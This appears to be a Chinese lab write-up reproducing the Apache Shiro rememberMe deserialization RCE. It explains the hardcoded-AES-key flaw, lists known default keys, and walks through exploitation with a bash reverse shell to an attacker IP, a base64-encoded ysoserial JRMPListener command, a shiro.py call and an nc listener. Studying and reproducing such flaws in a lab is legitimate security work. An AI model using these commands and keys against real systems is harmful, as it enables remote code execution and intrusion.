zoukankan      html  css  js  c++  java
  • Apache Shiro反序列化远程代码执行复现

    最近也是看shiro漏洞比较多,所以自己也在本地复现了一下,拿出来与大家一起分享

    0x00 关于Apache Shiro

    Apache shiro是一个Java安全框架,提供了认证、授权、加密和会话管理功能,为解决应⽤安全提供了相应的API:

    认证-⽤用户身份识别,常被称为用户”登录”
    授权-访问控制
    密码加密-保护或隐藏数据防止被偷窥
    会话管理-用户相关的时间敏感的状态

    0x01 环境搭建

    漏洞版本<=1.2.4,使用docker搭建

    docker pull medicean/vulapps:s_shiro_1
    docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

    访问80端口即可访问漏洞环境

    0x02 所需工具

    (1)攻击机kali(192.168.10.101)

    (2)centos7靶机(192.168.10.105)

    (3)docker环境

    (4)shiro.py利用脚本

    (5)ysoserial.jar(java反序列化利用工具)

    0x03 漏洞原理

    从官方的 issue 上来看,存在几个重要的点:

    • rememberMe cookie
    • CookieRememberMeManager.java
    • Base64
    • AES
    • 加密密钥硬编码
    • Java serialization

    Shiro550:
    shiro≤1.2.4版本,默认使⽤了CookieRememberMeManager,由于AES使用的key泄露,导致反序列化的cookie可控,从而引发反序列化攻击。(理论上只要AES加密钥泄露,都会导致反序列化漏洞)

    整个漏洞简单的cookie处理流程是:得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化。除了找到相关的参数(默认rememberMe)以外,还需要结合如下因素:

    shiro在1.2.4版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来。所以整个AES加解密过程的key就很重要了,正是因为AES使用默认的KEY/常见的KEY/KEY泄露导致反序列化的cookie可控,从⽽引发反序列化漏洞。


    常见的key如下:

    kPH+bIxk5D2deZiIxcaaaA==(1.2.4默认key)
    2AvVhdsgUs0FSA3SDFAdag==
    4AvVhmFLUs0KTA3Kprsdag==
    3AvVhmFLUs0KTA3Kprsdag==
    wGiHplamyXlVB11UXWol8g==
    Z3VucwAAAAAAAAAAAAAAAA==
    6ZmI6I2j5Y+R5aSn5ZOlAA==
    ZUdsaGJuSmxibVI2ZHc9PQ==
    1QWLxg+NYmxraMoxAXu/Iw==

    有时候可能存在未知key的情况,那么可以采取 Shiro-721 的报错逻辑来进⾏遍历key(前提是正常登录得到一个rememberMe的值):


    Shiro721:

    rememberMe cookie通过AES-128-CBC模式加密,易受到Padding Oracle攻击。可以通过结合有效的rememberMe cookie作为Padding Oracle攻击的前缀,然后精⼼制作rememberMe来进⾏反序列化攻击。


    Tip:可以结合JRMP gadget使⽤用,可以⼤大幅减少生成序列化数据的长度,同时在1.2.4版本后,shiro已经更换 AES-CBC AES-CBC 为 AES-GCM AES-GCM ,无法再通过Padding Oracle遍历key。

    0x04 漏洞演示

    我们搭建好环境就是这样一个界面

    然后输入用户名,密码,勾选Remember Me选项

    用burp抓包,然后重放一下,go

    发现返回包中有rememberMe=deleteMe的字样(这是shiro漏洞的标志)

    说明存在shiro漏洞

    我们先得知道他所用的key是啥,有一个工具很好用,用它可以在dnslog上成功打出key

     ps:shiro.py脚本中默认用的是"KPH......"这个key,若打出的key不同,可以修改

    然后我们来构造payload来进行反弹shell的操作

    写好反弹shell的命令

    bash -i >& /dev/tcp/192.168.10.101/666 0>&1

    然后转换成加密后的指令(去这个网站http://www.jackson-t.ca/runtime-exec-payloads.html)

    将指令合成为一个java的监听指令

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections2 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEwMS82NjYgMD4mMQ==}|{base64,-d}|{bash,-i}'

    运行它开启java一个监听端口

    利用脚本向java发送请求生成poc

    python shiro.py 192.168.10.101:6666

    然后先在kali上开启一个监听

    nc -lvp 666

    然后将生成的rememberMe=*******放到发送包的Cookie中

    这时成功反弹了shell

    ps: shiro.py 和ysoserial.jar要放在同一路径下

    参考:http://vlambda.com/wz_wAgsAcgbFI.html

              https://paper.seebug.org/shiro-rememberme-1-2-4/

       https://blog.csdn.net/weixin_38166689/article/details/101154245

  • 相关阅读:
    Oracle中有大量的sniped会话
    Error 1130: Host '127.0.0.1' is not allowed to connect to this MySQL server
    汉字转换为拼音以及缩写(javascript)
    高效率随机删除数据(不重复)
    vs2010 舒服背景 优雅字体 配置
    mvc中的ViewData用到webfrom中去
    jquery ajax return值 没有返回 的解决方法
    zShowBox (图片放大展示jquery版 兼容性好)
    动感效果的TAB选项卡 jquery 插件
    loading 加载提示······
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/13234664.html
Copyright © 2011-2022 走看看